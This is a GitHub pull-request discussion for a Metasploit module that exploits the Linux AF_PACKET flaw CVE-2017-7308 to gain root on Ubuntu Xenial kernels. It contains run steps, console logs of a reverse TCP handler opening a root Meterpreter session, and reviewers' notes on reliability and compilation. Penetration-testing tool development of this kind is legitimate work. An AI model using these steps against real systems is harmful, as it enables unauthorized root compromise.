Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Add AF_PACKET packet_set_ring Privilege Escalation exploit #9947

Merged
merged 6 commits into from May 17, 2018

Conversation

@bcoles
Copy link
Contributor

bcoles commented Apr 28, 2018

Add AF_PACKET packet_set_ring Privilege Escalation exploit.

    This module exploits a heap-out-of-bounds write in the packet_set_ring
    function in net/packet/af_packet.c (AF_PACKET) in the Linux kernel
    to execute code as root (CVE-2017-7308).

    The bug was initially introduced in 2011 and patched in version 4.10.6,
    potentially affecting a large number of kernels; however this exploit
    targets only systems using Ubuntu Xenial kernels 4.8.0 < 4.8.0-46,
    including Linux distros based on Ubuntu Xenial, such as Linux Mint.

    The target system must have unprivileged user namespaces enabled and
    two or more CPU cores.

    Bypasses for SMEP, SMAP and KASLR are included. Failed exploitation
    may crash the kernel.

    This module has been tested successfully on Linux Mint 18 (x86_64)
    with kernel versions:

    4.8.0-34-generic;
    4.8.0-36-generic;
    4.8.0-39-generic;
    4.8.0-41-generic;
    4.8.0-42-generic;
    4.8.0-44-generic;
    4.8.0-45-generic.

Verification

  • Start msfconsole
  • Get a session
  • use exploit/linux/local/af_packet_packet_set_ring_priv_esc
  • set SESSION <ID>
  • run
  • Verify you get a root session

Scenarios

msf5 > use exploit/linux/local/af_packet_packet_set_ring_priv_esc 
msf5 exploit(linux/local/af_packet_packet_set_ring_priv_esc) > set session 1
session => 1
msf5 exploit(linux/local/af_packet_packet_set_ring_priv_esc) > run

[*] Started reverse TCP handler on 172.16.191.188:4444 
[*] Writing '/tmp/.ZxgWSP2O1.c' (19378 bytes) ...
[*] Writing '/tmp/.jfPl4uPX2' (207 bytes) ...
[*] Launching exploit...
[*] Sending stage (857352 bytes) to 172.16.191.207
[*] Meterpreter session 2 opened (172.16.191.188:4444 -> 172.16.191.207:41882) at 2018-04-27 19:55:21 -0400
[+] Deleted /tmp/.ZxgWSP2O1.c
[+] Deleted /tmp/.ZxgWSP2O1
[+] Deleted /tmp/.jfPl4uPX2

meterpreter > getuid
Server username: uid=0, gid=0, euid=0, egid=0
meterpreter > sysinfo
Computer     : 172.16.191.207
OS           : LinuxMint 18 (Linux 4.8.0-45-generic)
Architecture : x64
BuildTuple   : i486-linux-musl
Meterpreter  : x86/linux
@bcoles bcoles added the module label Apr 28, 2018
@bcoles bcoles added the docs label Apr 28, 2018
@timwr

This comment has been minimized.

Copy link
Contributor

timwr commented May 15, 2018

I'm testing this on Ubuntu with 4.8.0-45-generic. It seems to flip flop between working and not creating a session. e.g on the same session, it will first fail, then succeed, then fail.

[+] Linux kernel version 4.8.0-45-generic is vulnerable
[+] System architecture x86_64 is supported
[+] System has 2 CPU cores
[+] Unprivileged user namespaces are permitted
[+] gcc is installed
[*] Live compiling exploit on system...
[*] Writing '/tmp/.vqh1w.c' (19378 bytes) ...
[*] Writing '/tmp/.lGjSXMhb7' (207 bytes) ...
[*] Launching exploit...
[*] Transmitting intermediate stager...(106 bytes)
[*] Sending stage (857352 bytes)
[*] Meterpreter session 7 opened
[+] Deleted /tmp/.vqh1w.c
[+] Deleted /tmp/.vqh1w
[+] Deleted /tmp/.lGjSXMhb7

then

[+] Linux kernel version 4.8.0-45-generic is vulnerable
[+] System architecture x86_64 is supported
[+] System has 2 CPU cores
[+] Unprivileged user namespaces are permitted
[+] gcc is installed
[*] Live compiling exploit on system...
[*] Writing '/tmp/.oJ8QxJId.c' (19378 bytes) ...
[*] Writing '/tmp/.zjMiBI' (207 bytes) ...
[*] Launching exploit...
[*] Exploit completed, but no session was created.

After a while it seems to always fail with no output from cmd_exec

@bcoles

This comment has been minimized.

Copy link
Contributor Author

bcoles commented May 15, 2018

@timwr

Sounds about right.

The exploit messes with the heap. Running a kernel exploit multiple times is playing with fire and increasing your chances of freezing the system. No doubt the process hung because you're executing the exploit like a mad man.

Do you have the same issue if you run it, get a new root session, kill the new root session, chill out for a minute, then run it again?

@timwr

This comment has been minimized.

Copy link
Contributor

timwr commented May 15, 2018

Strange, the original exploit seems to have the same varying reliability (maybe ~25% ?).
Potentially we could just reduce the ranking and land this as is.

@bcoles

This comment has been minimized.

Copy link
Contributor Author

bcoles commented May 15, 2018

I think GreatRanking is still appropriate.

Does the exploit usually work for your on the first run? Have you managed to get a system freeze on the first run? I only ever got system freezes when I was hammering at the system.

I could introduce an artificial delay between exploit attempts to force users to chill out, but that seems far more likely to hinder exploitation than ever offer any real benefit.

Why would you execute a kernel exploit, again, immediately after it grants you a root shell?

@bcoles

This comment has been minimized.

Copy link
Contributor Author

bcoles commented May 15, 2018

Regarding ranking, I used GoodRanking for the other AF_PACKET exploit (chocobo_root). #9987

Both exploits are similar in reliability.

@timwr

This comment has been minimized.

Copy link
Contributor

timwr commented May 16, 2018

I have never managed to freeze the system with this :)
Let me land this. Excellent work @bcoles

# Launch exploit
print_status 'Launching exploit...'
output = cmd_exec "#{executable_path} #{payload_path}"
output.each_line { |line| vprint_status line.chomp }

This comment has been minimized.

Copy link
@timwr

timwr May 16, 2018

Contributor

Ah it looks like the intention of this was to return the output of the exploit. The exploit actually does not return (because of the while loop), so the cmd_exec ends up timing out. The newly opened session won't be interactive until the module returns.
I had this problem while developing Android exploits (I think we ended up just forking, ignoring the output, and settings a large WfsDelay to wait for the session, not great).
There isn't really a good way currently of both not blocking the modules execution flow and returning the exploit output.
We could use mettles extension loader, which would both fork a child process and allow us to poll for the exploit progress, but that work with shell sessions.
Thoughts?

This comment has been minimized.

Copy link
@timwr

timwr May 16, 2018

Contributor

Potentially we could just fork and use WfsDelay, e.g: timwr@15fb2dc

This comment has been minimized.

Copy link
@bcoles

bcoles May 16, 2018

Author Contributor

I'm not too fussed about the exploit executable output.

If the exploit fails, the cmd_exec won't time out, and the output will be printed.
If the exploit is successful, I care more about the root shell than the output.

output.each_line { |line| vprint_status line.chomp } is copypasta from other local exploits (some of which likely also suffer from the same issue). More a nice-to-have / may-as-well-put-this-here afterthought.

That said, your changes looks reasonable. Thanks!

This comment has been minimized.

Copy link
@timwr

timwr May 16, 2018

Contributor

Unfortunately I think my changes introduce a new problem in that sometimes it fails to cleanup the binary

This comment has been minimized.

Copy link
@wvu-r7

wvu-r7 May 16, 2018

Member

We still love you, @timwr.

timwr added a commit to timwr/metasploit-framework that referenced this pull request May 16, 2018
@timwr

This comment has been minimized.

Copy link
Contributor

timwr commented May 16, 2018

Apologies for being pedantic. I've sent: bcoles#5
It's minor but it has a few advantages (I think)

  1. the files get cleaned up even if the exploit fails
  2. the module appears to terminate quicker.
  3. when run on a shell session, the existing shell session remains valid

I'm running into an issue when using set COMPILE Auto or set COMPILE True on a shell session:
gcc: error trying to exec 'cc1': execvp: No such file or directory
Any ideas?

@bcoles

This comment has been minimized.

Copy link
Contributor Author

bcoles commented May 16, 2018

set COMPILE False

fork earlier and cleanup files in module
@bcoles

This comment has been minimized.

Copy link
Contributor Author

bcoles commented May 17, 2018

The issue is likely due to messed up $PATH or missing g++ package.

Does exploitation continue after that error? The module should detect output from gcc and fall back to uploading a pre-compiled binary, in which case this is a non-issue.

@timwr

This comment has been minimized.

Copy link
Contributor

timwr commented May 17, 2018

It's the PATH.
I'm thinking the easiest thing to do is put a PATH=$PATH:/usr/bin/ before the gcc (only in the case of shell sessions)

@bcoles

This comment has been minimized.

Copy link
Contributor Author

bcoles commented May 17, 2018

Does exploitation continue after that error?

This issue will likely exist in all local exploit modules that compile live on the target system.

@timwr

This comment has been minimized.

Copy link
Contributor

timwr commented May 17, 2018

    gcc_cmd = "gcc -o #{path} #{path}.c"
    if session.type.eql? 'shell'
      gcc_cmd = "PATH=$PATH:/usr/bin/ #{gcc_cmd}"
    end

    output = cmd_exec gcc_cmd

^ this fixes it, if you're happy I can land with that change and iterate :)

@timwr

This comment has been minimized.

Copy link
Contributor

timwr commented May 17, 2018

btw after repeated runs of the exploit, the system never actually crashes, but commands like top and ps -ef seem to hang and never return.

@bcoles

This comment has been minimized.

Copy link
Contributor Author

bcoles commented May 17, 2018

Yeah your system is toast. That's what you get for repetitively exploiting.

Are we done here? Can I re-compile the pre-compiled binary and proceed with re-testing?

@timwr

This comment has been minimized.

Copy link
Contributor

timwr commented May 17, 2018

yes I think so :) or I can rebuild it for you? I can rebase your changes and edit the commit with the binary in to save space?

@timwr timwr merged commit 4322e56 into rapid7:master May 17, 2018
3 checks passed
3 checks passed
Metasploit Automation - Sanity Test Execution Successfully completed all tests.
Details
Metasploit Automation - Test Execution Successfully completed all tests.
Details
continuous-integration/travis-ci/pr The Travis CI build passed
Details
timwr added a commit that referenced this pull request May 17, 2018
@timwr

This comment has been minimized.

Copy link
Contributor

timwr commented May 17, 2018

Excellent work as always @bcoles
Working on both shell and meterpreter sessions, both compiling with gcc and the pre-compiled bin :)

@bcoles bcoles deleted the bcoles:af_packet_packet_set_ring_priv_esc branch May 17, 2018
@bcoles bcoles added the rn-exploit label May 17, 2018
@bcoles

This comment has been minimized.

Copy link
Contributor Author

bcoles commented May 17, 2018

Release Notes

The linux/local/af_packet_packet_set_ring_priv_esc module has been added to the framework. It allows you to gain root privileges on Ubuntu Linux based systems by exploiting a heap-out-of-bounds write in the Linux kernel.

msjenkins-r7 added a commit that referenced this pull request May 17, 2018
@timwr timwr mentioned this pull request May 21, 2018
6 of 6 tasks complete
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Projects
None yet
Linked issues

Successfully merging this pull request may close these issues.

None yet

3 participants
You can’t perform that action at this time.